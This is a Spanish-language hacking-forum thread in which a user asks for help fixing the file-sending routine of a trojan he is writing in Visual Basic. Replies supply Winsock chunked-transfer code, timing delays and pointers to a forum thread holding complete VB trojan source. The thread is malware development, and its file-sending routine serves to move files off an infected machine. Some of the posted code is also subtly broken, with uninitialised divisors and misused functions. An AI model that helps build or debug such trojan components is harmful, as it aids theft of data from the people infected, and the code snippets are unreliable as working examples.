Hola a todos, pues el problema es que en el trayano que estoy haciendo al enviar los archivos no les envia enteros, solo envia un poco del principio, aqui os dejo el codigo a ver si alguno encontrais el problema, por que llo llevo mas de una semana y no lo e encontrao.
Nota : "vbParseData" lo utilizo para partir los archivos a la llegada seria igual que lo que usais muchos "|" .
Dim i As Long
Dim Arch As String
Dim Buffer as string
Arch = "C:\stub.log"
Buffer = Space$(25000)
Open Arch For Binary Access Read As #1
For i = 1 To FileLen(Arch) / 25000 'hacemos la division de las veces que tendra que leer y enviar
Get #1, , Buffer 'leemos
Winsock_server.SendData "archi" & vbParseData & Buffer
DoEvents
If FileLen(Arch) - Loc(1) <= 25000 Then 'como el for no utiliza los decimales enviamos los restos
Buffer = Space$(FileLen(Arch) - Loc(1)) 'redimensianamos la variable con el num de bites que faltan
Get #1, , Buffer 'leemos
Winsock_server.SendData "archi" & vbParseData & Buffer
DoEvents
End If
Next i
Winsock_server.SendData "fin"
Close #1
Salu2
creo que 25000 es mucho prueba con 8000 o menos
o puede ser que lo envias muy rapido
quita doevents y create una pausa de uno milisegundos
saludos!!!
El problema no es tu RAM sino que el ancho de banda no soporta tanto, cuando se envían datagramas por la web no deben ser muy grandes porque al pasar por tantos servidores los datos se podrían perder o peor, pueden llegar corrompidos.
Primero intenta envíar menos cantidad de datos, si no funciona se buscará otra solución.
Pero igualmente esa forma de leer el archivo es media inestable, te dejo una alternativa.
Option Explicit
Private Type FileInfo
Filename As String
FileSize As Long
TotalPieces As Long
BytesPerPiece As Long
ByteRemaining As Long
End Type
Private Function ParseFile(Filename As String, BytesPerPiece As Long) As FileInfo
With ParseFile
.Filename = Filename
.FileSize = FileLen(Filename)
.TotalPieces = .FileSize \ BytesPerPiece
.BytesPerPiece = BytesPerPiece
.ByteRemaining = .FileSize Mod .ByteRemaining
End With
End Function
Private Function CropFile(FileSpec As FileInfo) As Single
Dim hFile%, snTime!
Dim sData$, i&
snTime = Timer
With FileSpec
hFile = FreeFile
Open .Filename For Binary Lock Read Write As #hFile
sData = String$(.BytesPerPiece, 0)
For i = 1 To .TotalPieces
If i < .TotalPieces Then
Get #hFile, , sData
Else
sData = String$(.ByteRemaining, 0)
Get #hFile, , sData
End If
'Luego acá se enviarían los datos.
'
Next
End With
End Function
En resumen es lo mismo pero un poco más estructurado. Y si usas la API es dos veces más rápido.
Saludos.
Intenta hacer una pausa entre cada llamada a Send. Por ejemplo con el siguiente código (incorporalo al procedimiento).
Dim snTime!
snTime = Timer
Do While (Time - snTime) < .25
'Espera 0.25 segundos.
Loop
Call Winsock_server.SendData("archi" & vbParseData & Buffer)
Saludos.
Ah me olvidé de ese detalle en el code que puse antes ;D. La forma de solucionar eso sería asi:
Tam = 1024
Trozos = FileLen(Arch) / Tam
Falta = FileLen(Arch) Mod Falta
If Falta > 0 Then Trozos = Trozos + 1
Saludos.
La instrucción Mod devuelve el resto de una división, por eso la uso para obtener lo que falta del archivo.
Saludos.
por si a alguno le sirve, un pequeño tuto ;)
http://lympex.sosvulnerable.net/resources/textos/programacion/envio_archivos_vb.htm
Acabo de mirar el enlace y no veo fallas evidentes. Comproba que el programa se conecta.
Saludos
el código funciona :)
lo que necesitas lo esplico en la primera pagina de este hilo http://foro.elhacker.net/index.php/topic,57545.0.html
algo rustico, pero funciona 100%
no tiene perdida, en la primera pagina, el 4 post que puse, si no me equivoco!
espero te sirva, suerte
oye amigo,
entra como usuario a este foro y dale en buscar
alli escribe "Troyano en visual basic" sin las comillas y alli te sale el codigo de un troyano en visual basic, que tiene lo que necesitas y mas...
chito y porfa busca tambien ayuda con el Mscomm... y si puedes solucionalo.
lo mejor sería crear dos conexiones. Una para el envío de los datos del archivo (nombre, tamaño, etc) y otra para el envío del archivo. Es lo que hace el protocolo Ftp
vaya.... perdona ::)
Hace unos días hice una función que te puede servir para enviar ficheros (pequeños). No la he probado siquiera espero que funcione.
Public Function enviar(ruta As String, fichero As String, extension As String)
Dim direccion As String
Dim datosfichero As String
direccion = ruta & fichero & extension
datosfichero = Space(EOF(1))
Open direccion For Binary Access Read As #1
Get #1, , datosfichero
Close #1
Winsock1.SendData datosfichero
End Function
Se llama así:
enviar "C:\","imagen",".gif"
Saludos ;)